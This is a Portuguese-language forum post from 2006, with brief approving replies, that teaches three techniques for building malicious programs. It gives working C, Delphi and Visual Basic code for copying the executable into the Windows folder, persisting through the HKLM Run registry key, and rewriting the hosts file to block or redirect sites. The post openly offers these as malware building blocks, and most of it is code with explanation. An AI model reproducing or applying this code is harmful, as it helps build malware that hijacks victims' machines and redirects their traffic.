Métodos - Pragas digitais

Started by Dark_Side, 14 de October , 2006, 11:04:20 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,

Neste artigo, veremos 3 métodos que podem ser utilizados no desenvolvimento de programas maliciosos: auto-cópia, auto-inicialização e alteração no arquivo de Hosts. Utilizarei três linguagens alternativas para abordá-los: C, Delphi e Visual Basic.

Método 1: Auto Cópia
=========================================

Talvez seja o método mais comum utilizado por pragas virtuais. Este método consiste na replicação do programa malicioso no sistema.

Exemplo 1: Linguagem C

#include <windows.h> /* CopyFile() */
int main(int argn, char * arg[])
{
CopyFile(arg[0],"C:\\WINDOWS\\arquivo.exe",FALSE);
return 0;
}

Primeiramente incluímos o HEADER "windows.h" que contém constantes e funções da API do Windows. Dentre estas funções, está a função CopyFile() que é utilizada para copiar um arquivo para outro local.

int main(int argn, char * arg[])

Temos acima a entrada do programa. A função possui 2 parâmetros: argn e arg. O primeiro parâmetro representa o número de argumentos com os quais o programa foi inicializado, o segundo, é um array de strings contendo estes argumentos.

Como todo Array em C, os elementos são acessados da seguinte forma:

arg[0] = primeiro elemento;
arg[1] = segundo elemento;
arg[2] = terceiro elemento;
...
arg[9] = décimo elemento.

No nosso programa:

arg[0] = primeiro argumento;
arg[1] = segundo argumento;
arg[2] = terceiro argumento;
...

O elemento correspondente a "arg[0]" é sempre o caminho do executável.

Exemplo:

Se o executável do programa estivesse em "C:\programa.exe", o elemento "arg[0]" seria "C:\programa.exe".

CopyFile(arg[0],"C:\\WINDOWS\\arquivo.exe",FALSE);

Estamos copiando o executável do programa para "C:\WINDOWS\arquivo.exe". Note que utilizamos "arg[0]" para fornecer à função o caminho de origem. Outro detalhe importante é que em C, a barra "" é representada por "\".

QuoteSintaxe:
 
 BOOL CopyFile(LPCTSTR origem,LPCTSTR destino, BOOL erro);

  origem:
       caminho de origem do arquivo => arquivo a ser copiado;

  destino:
       caminho de destino do arquivo => para onde copiar;

  erro:
       determina se a função deve retornar em erro caso o arquivo de destino já exista. Os valores podem ser: 1 (TRUE) ou 0 (FALSE).


Obs:: LPCTSTR equivale a "const char *", assim como LPSTR equivale a "char *".

A função retorna 0 (FALSE) na ocorrência de um erro ou retorna 1 (TRUE), em caso de êxito.


Exemplo 2: Delphi

Observe o exemplo:

procedure TForm1.FormCreate(Sender: TObject);
var
arq: string;
begin
arq := application.ExeName;
CopyFile(PAnsiChar(arq),PAnsiChar('C:\WINDOWS\arquivo.exe'),false);
end;

Temos um Form, onde no evento OnCreate, copiamos o próprio executável do programa para "C:\WINDOWS\arquivo.exe".
Primeiramente declaramos uma variável que irá receber o nome do executável:
 arq: string; // Uma string

Atribuímos à variável, o caminho do executável.
 arq := application.ExeName;

O método application.ExeName, retorna o caminho do executável, como se vê.
Utilizamos a função CopyFile() para copiar o arquivo:

CopyFile(PAnsiChar(arq),PAnsiChar('C:\WINDOWS\arquivo.exe'),false);

Em Delphi, a sintaxe é:

QuoteCopyFile(origem: PAnsiChar; destino: PAnsiChar; erro: LongBool);

    origem:
       caminho de origem do arquivo => arquivo a ser copiado;

    destino:
       caminho de destino do arquivo => para onde copiar;

    erro:
       determina se a função deve retornar um erro caso o arquivo de destino
já exista. Os valores podem ser: TRUE ou FALSE.

A função retorna FALSE na ocorrência de erro e TRUE em caso de êxito.

Note que a variável "arq" é do tipo STRING, e que o tipo requerido pela função é PAnsiChar (equivalente ao tipo CHAR em C).
Para convertemos o valor de string para PAnsiChar, utilizamos o TYPECAST PAnsiChar(arq). O mesmo vale para o segundo parâmetro.

Obs:: Para utilizar a função CopyFile(), é necessário que se inclua "Windows" nos Uses.


Exemplo 3: Visual Basic


Private Sub Form_Initialize()
Dim arq As String
arq = App.Path + "" + App.EXEName + ".exe"
FileCopy arq, "C:\WINDOWS\arquivo.exe"
End Sub

No evento Form_Initialize() do programa, ou seja, quando o programa é inicializado, declaramos uma variável do tipo string: "arq".

Nesta variável, o nome do executável é armazenado da seguinte forma:
arq = App.Path + "" + App.EXEName + ".exe"

o que seria:

arq = + "" + + ".exe"

O método App.Path retorna o diretório em que o programa está;
O método App.EXEName retorna o nome do executável do programa.

Vamos supor que o programa esteja em: "C:\arquivos\lol.exe";

App.Path = "c:\arquivos";
App.EXEName = "lol".

É importante visar que não é retornada a extensão do arquivo: ".EXE".
Por essa razão, utilizamos  App.EXEName + ".exe", que no nosso exemplo seria: "lol.exe". O uso de App.Path + "" adiciona ""  após o diretório do executável.


Considerando:

App.Path = "c:\arquivos";
App.EXEName = "lol".

arq = App.Path + "" + App.EXEName + ".exe" = "c:\arquivos\lol.exe".

Quando utilizamos:
FileCopy arq, "C:\WINDOWS\arquivo.exe"

Estamos copiando o executável para "C:\WINDOWS\arquivo.exe".

QuoteSintaxe:

 FileCopy origem,destino


    origem:
       caminho de origem do arquivo => arquivo a ser copiado;

    destino:
       caminho de destino do arquivo => para onde copiar;

A função não retorna valores.


Método 2: Auto-Inicialização
=========================================

Através deste método, um programa consegue inicializar junto ao sistema operacional. O método consiste na adição de um valor em uma entrada no registro. As entradas de registro mais comuns para essa finalidade são:

Quote+ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

O programa será executado toda vez em que o sistema for iniciado, em modo normal.

+ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

O programa será executado na PRIMEIRA VEZ em que o sistema for iniciado, em modo normal, e sua entrada no registro será  deletada logo depois.

+ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

O programa será executado toda vez em que o sistema for iniciado, rodando como serviço.



Exemplo 1: Linguagem C


#include <windows.h>
#include <string.h> /* para o uso de strlen() */
#include <winreg.h>
HKEY chave;
const char valor[] = "C:\\WINDOWS\\programa.exe";
int main()
{

RegOpenKey(HKEY_LOCAL_MACHINE,"SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"Programa",0,REG_SZ,(LPBYTE)valor,strlen(valor));
RegCloseKey(chave);
return 0;
}


O header "windows.h" foi incluído no código pois muitas constantes estão definidas nele. O header "winreg.h" possui funções e outras constantes destinadas à manipulação do registro.

Primeiramente, devemos definir a variável que irá armazenar o valor de entradas de registro: chave - do tipo HKEY.

const char valor[] = "C:\\WINDOWS\\programa.exe";

Declaramos uma string constante que contém o caminho do programa que iremos adicionar (repare novamente que utilizamos "\" para representar a barra "").

RegOpenKey(HKEY_LOCAL_MACHINE,"SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);

A função acima abre uma chave no registro e armazena o seu valor na variável "chave".

QuoteSintaxe:

Long RegOpenKey(HKEY chave_raiz,LPCSTR sub_chave,PHKEY var_chave)

  chave_raiz:
         chave principal;
      Podem ser:
           HKEY_CLASSES_ROOT;
           HKEY_CURRENT_USER ;
           HKEY_LOCAL_MACHINE;
           HKEY_USERS ;
           HKEY_CURRENT_CONFIG.

 
  sub_chave:
         caminho para a subchave do registro. 

  var_key:
         ponteiro para a variável do tipo HKEY que irá armazenar o valor da chave aberta.


Obs:
Lembre-se que o tipo LPCSTR equivale a "const char*"; O tipo PHKEY equivalea "HKEY *".
         

A função retorna 0 caso tenha êxito no processo de obtenção da chave, ou retorna um valor diferente de zero, caso um erro ocorra.

No nosso exemplo, estamos abrindo a sub chave SoftWare\Microsoft\Windows\CurrentVersion\Run localizada na raiz

HKEY_LOCAL_MACHINE, e armazenando seu valor na variável chave.


RegSetValueEx(chave,"Programa",0,REG_SZ,(LPBYTE)valor,strlen(valor));

A função acima adiciona uma entrada na chave previamente aberta com os seguintes dados:

Nome  -> Programa
Valor -> C:\WINDOWS\programa.exe

Uma entrada como essa na chave descrita acima, faria que o aplicativo localizado em "C:\WINDOWS\programa.exe" fosse executado sempre quando o Windows fosse inicializado.

QuoteSintaxe da função:

  Long RegSetValueEx(HKEY valor_chave,LPCSTR nome_valor,DWORD reservado, DWORD tipo,CONST BYTE* dados_valor,DWORD tam);

 
  valor_chave:
         valor da chave de registro que foi previamente aberta. 

  nome_valor:
         nome do valor a ser adicionado no registro.

  reservado:
         é um valor reservado, deve ser ZERO.

  tipo:
         tipo de valor a ser adicionado.

         Os principais:
                REG_SZ -> Valor de seqüência (texto puro);
                REG_EXPAND_SZ -> Valor de seqüência expansível;          
                REG_BINARY -> Valor binário;
                REG_DWORD -> Valor do tipo DWORD;
                REG_MULTI_SZ -> Valor de seqüência múltipla.

  dados_valor:
         conteúdo do valor que será adicionado.
 
  tam:
         número de bytes que serão escritos no valor.

 
Obs: O tipo de dado "BYTE *" pode ser expresso como LPBYTE.

A função retorna 0 caso tenha êxito ao adicionar o valor, ou retorna um valor diferente de zero, caso um erro ocorra.


Retomando o nosso exemplo, passamos o valor da variável "chave" como primeiro parâmetro da função. O segundo parâmetro foi passado como "Programa" que será a identificação do valor na entrada de registro. O tipo de valor requerido é REG_SZ (texto puro).

Quando usamos "(LPBYTE)valor" estamos convertendo a string que contém os dados que serão adicionados ao registro para o tipo requerido: "BYTE *".


Utilizamos a função strlen(valor) para retornar o número de caracteres que a string possui - número de bytes que serão escritos no valor.

RegCloseKey(chave);

Utilizamos esta função para fechar uma chave de registro previamente aberta.

QuoteSintaxe:
     
   Long RegCloseKey(HKEY chave)
       
      chave:
          variável que contém o valor da chave aberta
         

Se a chave for fechada corretamente, a função retorna 0, do contrário, um valor diferente de zero é retornado.



Exemplo 2: Delphi

Em Delphi temos uma maneira mais simples de trabalharmos com o registro, utilizando a cláusula Registry.

Veja:

Uses Registry;

procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;
begin

try
reg := TRegistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows\CurrentVersion\Run',false);
reg.WriteString('Programa','C:\WINDOWS\programa.exe');
finally
reg.Free;
end;

end;

Obviamente incluímos "Registry" nos Uses.
No procedure acima, declaramos uma variável denominada "reg" do tipo TRegistry, que será utilizada para manipular o registro.


reg := TRegistry.create;

Inicializa a variável para que possamos manipular chaves e valores;

reg.RootKey:=HKEY_LOCAL_MACHINE;

Define a chave raiz, que são:
           HKEY_CLASSES_ROOT;
           HKEY_CURRENT_USER ;
           HKEY_LOCAL_MACHINE;
           HKEY_USERS ;
           HKEY_CURRENT_CONFIG.


reg.OpenKey('SoftWare\Microsoft\Windows\CurrentVersion\Run',false);

Abre a subchave SoftWare\Microsoft\Windows\CurrentVersion\Run, negando a permissão para criar a sub chave caso esta não exista, através do parâmetro "false".

QuoteSintaxe:
 
 reg.OpenKey(Const chave: String,Criar_Chave: Boolean)

    chave:
        sub chave a ser aberta.

    Criar_Chave:
        define se a sub chave será criada caso não exista: TRUE - será criada, FALSE - não será criada.

A função retorna -1 caso tenha êxito ou retorna ZERO, em caso de erro.


reg.WriteString('Programa','C:\WINDOWS\programa.exe');

Escrevemos um valor no registro com os seguintes dados:

Nome  -> Programa
Valor -> C:\WINDOWS\programa.exe

Note que WriteString, escreve uma string que seria texto puro - REG_SZ.

QuoteSintaxe:

 reg.WriteString(Const Nome: String,Const Valor: String);

     Nome:
         nome do valor a ser adicionado.

     Valor:
         dados do valor que será adicionado.


reg.Free;

Fechamos a chave do registro e liberamos a variável.



Exemplo 3: Visual Basic


Em Visual Basic, podemos utilizar as três funções da API do Registro que foram apresentadas inicialmente: RegOpenKey, RegSetValueEx e RegCloseKey.

Vejamos:

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal chave As Long, ByVal sub_chave As String,
var_key As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal valor_chave As Long, ByVal valor As
String, ByVal reservado As Long, ByVal tipo As Long, ByVal dados As Any, ByVal tam As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal chave As Long) As Long

Private Const HKEY_CLASSES_ROOT = &H80000000
Private Const HKEY_CURRENT_CONFIG = &H80000005
Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const HKEY_USERS = &H80000003

Private Const REG_SZ = 1
Private Const REG_EXPAND_SZ = 2
Private Const REG_BINARY = 3
Private Const REG_DWORD = 4
Private Const REG_MULTI_SZ = 7
___________________________________________________________

Private Sub Form_Load()
Dim chave As Long
Dim dados_valor As String

valor = "C:\WINDOWS\programa.exe"

RegOpenKey HKEY_LOCAL_MACHINE, "SoftWare\Microsoft\Windows\CurrentVersion\Run", chave
RegSetValueEx chave, "Programa", 0, REG_SZ, dados_valor, Len(dados_valor)
RegCloseKey chave
End Sub


Nos declarations do formulário, definimos as funções e constantes da API do Registro.

Dim chave As Long

Declaramos a variável "chave" que armazenará o valor da chave que será aberta. Note que o tipo de valor é Long.

Dim dados_valor As String
valor = "C:\WINDOWS\programa.exe"

String que irá conter os dados do valor que será adicionado no registro.


RegOpenKey HKEY_LOCAL_MACHINE, "SoftWare\Microsoft\Windows\CurrentVersion\Run", chave

Abre a sub chave SoftWare\Microsoft\Windows\CurrentVersion\Run e armazena o seu valor na variável chave.

QuoteSintaxe:

  RegOpenKey(chave as Long, sub_chave as String, var_key)


 chave_raiz:
         chave principal;
        Possíveis chaves:
 
                   HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE,                     HKEY_USERS e

HKEY_CURRENT_CONFIG.

 
  sub_chave:
         caminho para a subchave do registro. 

  var_key:
          variável que irá armazenar o valor da chave.


Se a chave for aberta, a função retorna ZERO, caso contrário, é retornado um valor diferente de ZERO.


RegSetValueEx chave, "Programa", 0, REG_SZ, dados_valor, Len(dados_valor)

A função adicionaria um valor no registro com os seguintes dados:

Nome  -> Programa
Valor -> C:\WINDOWS\programa.exe

QuoteSintaxe:

  RegSetValueEx(valor_chave As Long, valor As String, reservado As Long, tipo As Long,dados As Any ,tam As Long) As Long

  valor_chave:
         valor da chave de registro que foi previamente aberta. 

  valor:
         nome do valor a ser adicionado no registro.

  reservado:
         é um valor reservado, deve ser ZERO.

  tipo:
         tipo de valor a ser adicionado.

         Os principais:
                REG_SZ -> Valor de seqüência (texto puro);
                REG_EXPAND_SZ -> Valor de seqüência expansível;          
                REG_BINARY -> Valor binário;
                REG_DWORD -> Valor do tipo DWORD;
                REG_MULTI_SZ -> Valor de seqüência múltipla

  dados:
         conteúdo do valor que será adicionado.

 
  tam:
         número de bytes que serão escritos no valor.


A função retorna 0 caso tenha êxito ao adicionar o valor, ou retorna um valor diferente de zero, caso um erro ocorra.

No nosso exemplo, seria inserido um valor do tipo REG_SZ. Quando fazemos Len(dados_valor), a função retorna o número de caracteres que a string possui - número de bytes que serão adicionados.

Para fecharmos a chave do registro, utilizamos:

RegCloseKey chave

QuoteSintaxe:

  RegCloseKey(chave as Long) as Long
 
    chave:
        valor da chave que foi previamente aberta.


Se a chave for fechada corretamente, a função retorna 0, do contrário, um valor diferente de zero é retornado.
     

Método 3: Alteração no arquivo de Hosts
=========================================

Basicamente, o arquivo de Hosts contém informações sobre Ip's e DNS's de servidores. É possível associar um endereço DNS a um

endereço IP de tal forma que, quando o computador tenta acessar um hostname definido no arquivo, este é redirecionado para o IP correspondente.

+ No Windows 9x/ME/2000, o arquivo encontra-se em "C:\WINDOWS\hosts".
+ Em versões superiores, o diretório é  "C:\WINDOWS\system32\drivers\etc\hosts".

Note que o arquivo não possui extensão.

Um exemplo de configuração:

-------------------- Exemplo arquivo de HOSTS --------------------

# Ao tentar acessar www.google.com.br ou www.orkut.com
# O computador seria redirecionado para  0.0.0.0

0.0.0.0 www.google.com.br
0.0.0.0 www.orkut.com

-------------------- Fim do arquivo de HOSTS --------------------

Através deste método é possível "invalidar" endereços no computador ou fazer um redirecionamento de um servidor confiável para um não-confiável, por exemplo.


Obs:: Tudo o que estiver após o caractere # é considerado comentário, portanto, ignorado.

Vejamos como manipular o arquivo de Hosts.


Exemplo 1: Linguagem C


#include <stdio.h>
int main()
{
FILE *fp = fopen("C:\\WINDOWS\\system32\\drivers\\etc\\hosts","a+");
if(fp != NULL){
fputs("0.0.0.0 www.google.com.br\n",fp);
fclose(fp);
}
return 0;
}


Vejamos:

FILE *fp = fopen("C:\\WINDOWS\\system32\\drivers\\etc\\hosts","a+");

Declaramos um ponteiro para arquivo e com a função fopen() tentamos abrir o arquivo de hosts no modo Append - adiciona dados após a última linha do arquivo, não substituindo assim, o arquivo.

QuoteSintaxe da função fopen():

 FILE * fopen(const char * caminho, const char* modo);

     caminho:
          caminho do arquivo a abrir;
 
     modo:
          modo pelo o qual o arquivo será aberto.
           
                   Para arquivos de texto, temos:
               
  r - abre o arquivo para leitura; deve existir previamente.

  w - abre o arquivo para escrita; será criado caso não exista. Se o arquivo existir, seus dados serão perdidos.

  a - abre o arquivo para escrita; se o arquivo não existir será criado, caso já exista, novos dados serão adicionados após

sua última linha.

  r+ - abre o arquivo para leitura e escrita; deve existir previamente para que possar ser modificado.

  w+ - abre o arquivo para escrita e leitura; será criado se não existir, caso exista, seus dados serão perdidos.

A função retorna um ponteiro NÃO-NULO caso o arquivo seja acessado corretamente ou retorna um ponteiro NULO, na ocorrência de erros.


fputs("0.0.0.0 www.google.com.br\n",fp);

Adicionamos "0.0.0.0 www.google.com.br" no arquivo.

QuoteSintaxe:
   
   int fputs(const char* dados,FILE fp);

    dados:
        string que será adicionada;

    fp:
       ponteiro para o arquivo.

A função retorna 0 quando os dados são inseridos corretamente ou retorna -1, caso contrário.

Note que utilizamos "\n" na string para incluir uma quebra de linha no arquivo.

Para fecharmos um arquivo utilizamos: fclose(fp);
Onde "fp" é o ponteiro para o arquivo em questão.



Exemplo 2: Delphi


Vejamos:

procedure TForm1.FormCreate(Sender: TObject);
var
fp: TextFile;
begin
{$I-}
AssignFile(fp,'C:\WINDOWS\system32\drivers\etc\hosts');
ReSet(fp);
Append(fp);
{$I+}
if IOResult = 0 then
begin
WriteLn(fp,'0.0.0.0 www.google.com.br');
CloseFile(fp);
end;
end;


Temos um ponteiro para um arquivo de texto:
fp: TextFile;

Utilizamos a opções de compilação {$I+} e {$I-} para validarmos erros de acesso a arquivos.

Estrutura básica:

{$I-}
// Comandos iniciais
{$I+}
// Validação de possíveis erros

Associamos ao ponteiro "fp" o caminho do arquivo de hosts:
AssignFile(fp,'C:\WINDOWS\system32\drivers\etc\hosts');

QuoteSintaxe:
 
   AssignFile(fp: File,caminho: String);
     
    fp:
      ponteiro para o arquivo.

    caminho:
      caminho do arquivo a ser associado.

obs:: O parâmetro pode receber tanto um ponteiro do tipo File, quanto um ponteiro para o tipo TextFile.


Tentamos abrir o arquivo que deve existir previamente:

ReSet(fp);

QuoteSintaxe:
 
  ReSet(fp: File);

    fp:
      ponteiro para o arquivo.

Para abrir um arquivo para escrita, utilizamos:

QuoteSintaxe:
 
  ReWrite(fp);

    fp:
      ponteiro para o arquivo.

Obs: Se o arquivo já existir, seus dados serão perdidos.

Caso o arquivo seja aberto, tentamos defini-lo no modo Append, onde os dados serão adicionados ao fim dele:

Append(fp);

QuoteSintaxe:
 
  Append(fp: File);

    fp:
      ponteiro para o arquivo.


Vejamos:

{$I+}
if IOResult = 0 then
begin
WriteLn(fp,'0.0.0.0 www.google.com.br');
CloseFile(fp);
end;

Após todas as instruções anteriores, é verificado se ocorreu algum erro:
Se o valor de IOResult for ZERO, nenuhum erro ocorreu, se o valor for diferente de ZERO, é porque um erro ocorreu.
WriteLn(fp,'0.0.0.0 www.google.com.br');

Adicionamos a linha "0.0.0.0 www.google.com.br" no arquivo.
A função inclui automaticamente uma quebra de linha no arquivo.

QuoteSintaxe:

WriteLn(fp: File,dados: String);

    fp:
      ponteiro para o arquivo;

    dados:
      dados que serão adicionados.
   

Para fecharmos um arquivo, utilizamos CloseFile(fp);

QuoteSintaxe:
 
  CloseFile(fp: File);

    fp:
      ponteiro para o arquivo.


Exemplo 3: Visual Basic


Observe:

Private Sub Form_Load()
Dim fp As Integer
On Error GoTo erro
fp = FreeFile
Open "C:\WINDOWS\system32\drivers\etc\hosts" For Append As fp
Print #fp, "0.0.0.0 www.google.com.br"
Close fp
Exit Sub
erro:
End Sub


Declaramos uma variável do tipo Integer que armazenará o identificação do arquivo:
Dim fp As Integer

Caso algum erro ocorra, o programa pula para o label "erro":
On Error GoTo erro

A função FreeFile retorna uma identificação para um arquivo.
Armazenamos esta identificação na variável fp:
fp = FreeFile

Open "C:\WINDOWS\system32\drivers\etc\hosts" For Append As fp
Tentamos abrir o arquivo de hosts no modo Append, identificando-o por "fp".

QuoteSintaxe:

  Open caminho For Modo as ID

    caminho:
        caminho do arquivo a ser aberto;

    modo:
        modo pelo o qual o arquivo será aberto;
                   
                         
  Input - abre o arquivo para leitura; deve existir antes.

  Output - abre o arquivo para escrita; se não existir será criado, caso já exista, seus dados serão perdidos.
   
  Append - abre o arquivo no modo Append, caso não exista será criado, caso já exista, os dados serão adicionados após sua última linha.


Adicionamos "0.0.0.0 www.google.com.br" no arquivo:
Print #fp, "0.0.0.0 www.google.com.br"

QuoteSintaxe:

  Print #ID,dados

     #ID:
       identificação do arquivo precedida de #;

     dados:
        dados que serão adicionados.

A função adiciona quebra de linha automaticamente.

Finalmente, para fecharmos o arquivo utilizamos:
Close fp

QuoteSintaxe:

  Close fp

     fp:
       identificação do arquivo.

Observe as duas últimas linhas:

Exit Sub
erro:

Utilizamos Exit Sub para sair do Sub, uma vez em que as instruções terminam antes do label "erro". Se a entrada Exit Sub não existisse, o programa pularia para o label especificado mesmo na ausência de erros.


Finalizando
=========================================
Muito bem, desta vez não irei lolzar muito com considerações finais,
só gostaria de esclarecer que as informações expressas acima são de nível básico e que existem diversos outros métodos, inclusive mais eficientes, utilizados por pragas digitas...
Então, desculpa...
Só queria ter ajudado :)

Ðark$pawn

Very Good novamente... Ponto Positivo!!! ;)

tiaguito-.-

Muito bom kara..vlw o ponto positivo pra vc
Não tenho medo do escuro, nem do que tem nele, medo do escuro é pra fracos, e vc é um?
Meu MSN ta ali, se quiser add, add mais nun fala bosta não =P